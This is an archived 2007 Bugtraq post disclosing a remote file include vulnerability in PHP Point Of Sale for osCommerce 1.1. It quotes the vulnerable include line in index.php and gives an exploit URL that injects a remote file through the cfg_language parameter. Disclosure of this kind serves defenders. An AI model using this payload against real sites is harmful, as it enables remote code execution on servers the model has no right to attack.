bugtraq - PHP Point Of Sale for osCommerce <= (index.php) Remote File Include Vuln

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <BAY102-F63116684CAB6722966134A37D0@phx.gbl>
Date: Mon, 12 Mar 2007 14:05:39 +0300
From: "BorN To K!LL BorN To K!LL" <q.t.i@...mail.com>
To: submit@...w0rm.com
Cc: bugtraq@...urityfocus.com
Subject: PHP Point Of Sale for osCommerce <= (index.php) Remote File Include Vuln

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

PHP Point Of Sale for osCommerce <= (index.php) Remote File Include Vuln

Script: PHP Point Of Sale for osCommerce

Version: 1.1

URL: 
http://puzzle.dl.sourceforge.net/sourceforge/phppointofsale/PHP_Point_Of_Sale_osCommerce_1.1.zip

Discover: BorN To K!LL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

Bug in:
index.php ..... and so on ...

code:
include ("language/$cfg_language");

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

ExploiT:
~~~~~
wWw.SiTe.cOm/[path]/index.php?cfg_language=shitcode?

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

GreeTz 2:

Dr.2 - str0ke - AsbMay ....

KuW SeC ..... AsbMay's Group

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE! 
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/